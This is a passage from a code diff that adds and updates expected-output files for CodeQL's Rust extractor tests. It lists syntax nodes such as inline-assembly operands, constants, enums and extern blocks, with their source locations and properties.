b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.expected @@ -0,0 +1 @@ +| gen_asm_const.rs:8:30:8:37 | AsmConst | hasExpr: | yes | isConst: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.expected b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.expected new file mode 100644 index 000000000000..f1bb1ffc0533 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.expected @@ -0,0 +1 @@ +| gen_asm_const.rs:8:30:8:37 | AsmConst | gen_asm_const.rs:8:36:8:37 | 42 | diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected new file mode 100644 index 000000000000..977c8504c0ef --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_dir_spec.rs:8:47:8:49 | AsmDirSpec | +| gen_asm_dir_spec.rs:8:67:8:68 | AsmDirSpec | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected index 05fcb479b683..3a039fe43fe4 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected @@ -1 +1 @@ -| gen_asm_expr.rs:6:9:6:24 | AsmExpr | getNumberOfAsmPieces: | 0 | getNumberOfAttrs: | 0 | getNumberOfTemplates: | 1 | +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | getNumberOfAsmPieces: | 2 | getNumberOfAttrs: | 1 | getNumberOfTemplates: | 1 | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected index e69de29bb2d1..449113ff8fab 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected @@ -0,0 +1,2 @@ +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 0 | gen_asm_expr.rs:7:39:7:47 | AsmOperandNamed | +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 1 | gen_asm_expr.rs:7:50:7:58 | AsmOperandNamed | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected index e69de29bb2d1..1e8572997556 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected @@ -0,0 +1 @@ +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 0 | gen_asm_expr.rs:6:9:6:25 | Attr | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected index 8957e7fb6d07..fa3414743e92 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected @@ -1 +1 @@ -| gen_asm_expr.rs:6:9:6:24 | AsmExpr | 0 | gen_asm_expr.rs:6:23:6:23 | _ | +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 0 | gen_asm_expr.rs:7:23:7:36 | "cmp {0}, {1}" | diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.expected b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.expected b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.expected b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.expected new file mode 100644 index 000000000000..f71018339116 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_expr.rs:8:35:8:35 | AsmOperandExpr | hasInExpr: | yes | hasOutExpr: | yes | +| gen_asm_operand_expr.rs:8:46:8:46 | AsmOperandExpr | hasInExpr: | yes | hasOutExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.expected b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.expected new file mode 100644 index 000000000000..642838b0ef3c --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_expr.rs:8:35:8:35 | AsmOperandExpr | gen_asm_operand_expr.rs:8:35:8:35 | x | +| gen_asm_operand_expr.rs:8:46:8:46 | AsmOperandExpr | gen_asm_operand_expr.rs:8:46:8:46 | y | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.expected b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.expected new file mode 100644 index 000000000000..642838b0ef3c --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_expr.rs:8:35:8:35 | AsmOperandExpr | gen_asm_operand_expr.rs:8:35:8:35 | x | +| gen_asm_operand_expr.rs:8:46:8:46 | AsmOperandExpr | gen_asm_operand_expr.rs:8:46:8:46 | y | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.expected b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.expected new file mode 100644 index 000000000000..4f8c21cb7ef6 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_named.rs:8:34:8:43 | AsmOperandNamed | hasAsmOperand: | yes | hasName: | no | +| gen_asm_operand_named.rs:8:46:8:62 | AsmOperandNamed | hasAsmOperand: | yes | hasName: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected new file mode 100644 index 000000000000..8e008a44f8aa --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_named.rs:8:34:8:43 | AsmOperandNamed | gen_asm_operand_named.rs:8:34:8:43 | AsmRegOperand | +| gen_asm_operand_named.rs:8:46:8:62 | AsmOperandNamed | gen_asm_operand_named.rs:8:54:8:62 | AsmRegOperand | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.expected b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.expected new file mode 100644 index 000000000000..aad90d4b5e81 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.expected @@ -0,0 +1 @@ +| gen_asm_operand_named.rs:8:46:8:62 | AsmOperandNamed | gen_asm_operand_named.rs:8:46:8:50 | input | diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.expected b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.expected new file mode 100644 index 000000000000..ddd5bc880b90 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.expected @@ -0,0 +1,2 @@ +| gen_asm_option.rs:8:22:8:28 | AsmOption | isRaw: | no | +| gen_asm_option.rs:8:31:8:35 | AsmOption | isRaw: | no | diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.expected b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.expected new file mode 100644 index 000000000000..692d66164f83 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.expected @@ -0,0 +1 @@ +| gen_asm_options_list.rs:8:14:8:36 | AsmOptionsList | getNumberOfAsmOptions: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.expected b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.expected new file mode 100644 index 000000000000..f159de9080ed --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.expected @@ -0,0 +1,2 @@ +| gen_asm_options_list.rs:8:14:8:36 | AsmOptionsList | 0 | gen_asm_options_list.rs:8:22:8:28 | AsmOption | +| gen_asm_options_list.rs:8:14:8:36 | AsmOptionsList | 1 | gen_asm_options_list.rs:8:31:8:35 | AsmOption | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.expected new file mode 100644 index 000000000000..c9eca662143b --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | hasAsmDirSpec: | yes | hasAsmOperandExpr: | yes | hasAsmRegSpec: | yes | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | hasAsmDirSpec: | yes | hasAsmOperandExpr: | yes | hasAsmRegSpec: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected new file mode 100644 index 000000000000..e47c650ada01 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | gen_asm_reg_operand.rs:8:26:8:28 | AsmDirSpec | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | gen_asm_reg_operand.rs:8:38:8:39 | AsmDirSpec | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected new file mode 100644 index 000000000000..c43a8ca14439 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | gen_asm_reg_operand.rs:8:35:8:35 | AsmOperandExpr | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | gen_asm_reg_operand.rs:8:46:8:46 | AsmOperandExpr | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected new file mode 100644 index 000000000000..b1da1a4d1d43 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | gen_asm_reg_operand.rs:8:30:8:32 | AsmRegSpec | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | gen_asm_reg_operand.rs:8:41:8:43 | AsmRegSpec | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected new file mode 100644 index 000000000000..0ecd2dfbdf83 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_spec.rs:8:30:8:34 | AsmRegSpec | hasIdentifier: | no | +| gen_asm_reg_spec.rs:8:43:8:45 | AsmRegSpec | hasIdentifier: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected new file mode 100644 index 000000000000..d40d67cb6a7e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected @@ -0,0 +1 @@ +| gen_asm_reg_spec.rs:8:43:8:45 | AsmRegSpec | gen_asm_reg_spec.rs:8:43:8:45 | EBX | diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.expected b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.expected new file mode 100644 index 000000000000..664c70d06ba1 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.expected @@ -0,0 +1 @@ +| gen_asm_sym.rs:8:30:8:44 | AsmSym | hasPath: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.expected b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.expected new file mode 100644 index 000000000000..0bcf012c475a --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.expected @@ -0,0 +1 @@ +| gen_asm_sym.rs:8:30:8:44 | AsmSym | gen_asm_sym.rs:8:34:8:44 | my_function | diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected index e69de29bb2d1..2c62ef6594b4 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected @@ -0,0 +1 @@ +| gen_assoc_type_arg.rs:9:21:9:31 | AssocTypeArg | hasConstArg: | no | hasGenericArgList: | no | hasIdentifier: | yes | hasParamList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected index e69de29bb2d1..901ebce3a552 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected @@ -0,0 +1 @@ +| gen_assoc_type_arg.rs:9:21:9:31 | AssocTypeArg | gen_assoc_type_arg.rs:9:21:9:24 | Item | diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected index e69de29bb2d1..b6c9b7e740d2 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected @@ -0,0 +1 @@ +| gen_assoc_type_arg.rs:9:21:9:31 | AssocTypeArg | gen_assoc_type_arg.rs:9:27:9:31 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/Attr/Attr.expected b/rust/ql/test/extractor-tests/generated/Attr/Attr.expected index e69de29bb2d1..e0c63af7678e 100644 --- a/rust/ql/test/extractor-tests/generated/Attr/Attr.expected +++ b/rust/ql/test/extractor-tests/generated/Attr/Attr.expected @@ -0,0 +1 @@ +| gen_attr.rs:7:5:7:20 | Attr | hasMeta: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected b/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected index e69de29bb2d1..8b7c87927b29 100644 --- a/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected +++ b/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected @@ -0,0 +1 @@ +| gen_attr.rs:7:5:7:20 | Attr | gen_attr.rs:7:7:7:19 | Meta | diff --git a/rust/ql/test/extractor-tests/generated/Const/Const.expected b/rust/ql/test/extractor-tests/generated/Const/Const.expected index e69de29bb2d1..4f4863338730 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasBody: | yes | isConst: | yes | isDefault: | no | hasName: | yes | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected b/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected index e69de29bb2d1..e6653a26b918 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | gen_const.rs:7:20:7:21 | 42 | diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected b/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected index e69de29bb2d1..e0c9ac085543 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | gen_const.rs:7:11:7:11 | X | diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected index e69de29bb2d1..dde3546336aa 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | gen_const.rs:7:14:7:16 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected index e69de29bb2d1..56a3b5946fa9 100644 --- a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected +++ b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected @@ -0,0 +1 @@ +| gen_const_arg.rs:7:11:7:11 | ConstArg | hasExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected index e69de29bb2d1..c26632a25e76 100644 --- a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected @@ -0,0 +1 @@ +| gen_const_arg.rs:7:11:7:11 | ConstArg | gen_const_arg.rs:7:11:7:11 | 3 | diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected index e69de29bb2d1..9632fea6dd54 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected +++ b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected @@ -0,0 +1 @@ +| gen_const_param.rs:7:17:7:30 | ConstParam | getNumberOfAttrs: | 0 | hasDefaultVal: | no | isConst: | yes | hasName: | yes | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected index e69de29bb2d1..65eb953a20b1 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected +++ b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected @@ -0,0 +1 @@ +| gen_const_param.rs:7:17:7:30 | ConstParam | gen_const_param.rs:7:23:7:23 | N | diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected index e69de29bb2d1..5a96f2d3ad6d 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_const_param.rs:7:17:7:30 | ConstParam | gen_const_param.rs:7:26:7:30 | usize | diff --git a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected index e69de29bb2d1..af1df824814b 100644 --- a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected @@ -0,0 +1 @@ +| gen_dyn_trait_type_repr.rs:7:13:7:21 | DynTraitTypeRepr | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected index e69de29bb2d1..63b58d830c1e 100644 --- a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected @@ -0,0 +1 @@ +| gen_dyn_trait_type_repr.rs:7:13:7:21 | DynTraitTypeRepr | gen_dyn_trait_type_repr.rs:7:17:7:21 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum.expected b/rust/ql/test/extractor-tests/generated/Enum/Enum.expected index e69de29bb2d1..02547a2400ee 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum.expected +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum.expected @@ -0,0 +1 @@ +| gen_enum.rs:4:5:7:34 | enum E | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | hasName: | yes | hasVariantList: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected b/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected index e69de29bb2d1..0e5f3660d5ee 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected @@ -0,0 +1 @@ +| gen_enum.rs:4:5:7:34 | enum E | gen_enum.rs:7:10:7:10 | E | diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected b/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected index e69de29bb2d1..4827f814fac6 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected @@ -0,0 +1 @@ +| gen_enum.rs:4:5:7:34 | enum E | gen_enum.rs:7:12:7:34 | VariantList | diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected index e69de29bb2d1..9c06abfad701 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected @@ -0,0 +1 @@ +| gen_extern_block.rs:7:5:9:5 | ExternBlock | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | hasAbi: | yes | getNumberOfAttrs: | 0 | hasExternItemList: | yes | isUnsafe: | no | diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected index e69de29bb2d1..ea8e7797362c 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected @@ -0,0 +1 @@ +| gen_extern_block.rs:7:5:9:5 | ExternBlock | gen_extern_block.rs:7:5:7:14 | Abi | diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected index e69de29bb2d1..83bb34c61abc 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected @@ -0,0 +1 @@ +| gen_extern_block.rs:7:5:9:5 | ExternBlock | gen_extern_block.rs:7:16:9:5 | ExternItemList | diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected index e69de29bb2d1..f47afb2acb52 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected @@ -0,0 +1 @@ +| gen_extern_crate.rs:4:5:7:23 | ExternCrate | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasIdentifier: | yes | hasRename: | no | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected index e69de29bb2d1..3e545d1761da 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected @@ -0,0 +1 @@ +| gen_extern_crate.rs:4:5:7:23 | ExternCrate | gen_extern_crate.rs:7:18:7:22 | serde | diff --git a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected index e69de29bb2d1..9cc7190339f5 100644 --- a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected +++ b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected @@ -0,0 +1 @@ +| gen_extern_item_list.rs:7:16:10:5 | ExternItemList | getNumberOfAttrs: | 0 | getNumberOfExternItems: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected index e69de29bb2d1..a1f1b91aca6f 100644 --- a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected +++ b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected @@ -0,0 +1,2 @@ +| gen_extern_item_list.rs:7:16:10:5 | ExternItemList | 0 | gen_extern_item_list.rs:8:9:8:17 | fn foo | +| gen_extern_item_list.rs:7:16:10:5 | ExternItemList | 1 | gen_extern_item_list.rs:9:9:9:24 | Static | diff --git a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected index e69de29bb2d1..e70c54798b2c 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected @@ -0,0 +1 @@ +| gen_fn_ptr_type_repr.rs:7:12:7:25 | FnPtrTypeRepr | hasAbi: | no | isAsync: | no | isConst: | no | isUnsafe: | no | hasParamList: | yes | hasRetType: | yes | diff --git a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected index e69de29bb2d1..26e6ae2ef9f6 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected @@ -0,0 +1 @@ +| gen_fn_ptr_type_repr.rs:7:12:7:25 | FnPtrTypeRepr | gen_fn_ptr_type_repr.rs:7:14:7:18 | ParamList | diff --git a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected index e69de29bb2d1..244765e95063 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected @@ -0,0 +1 @@ +| gen_fn_ptr_type_repr.rs:7:12:7:25 | FnPtrTypeRepr | gen_fn_ptr_type_repr.rs:7:20:7:25 | RetTypeRepr | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected 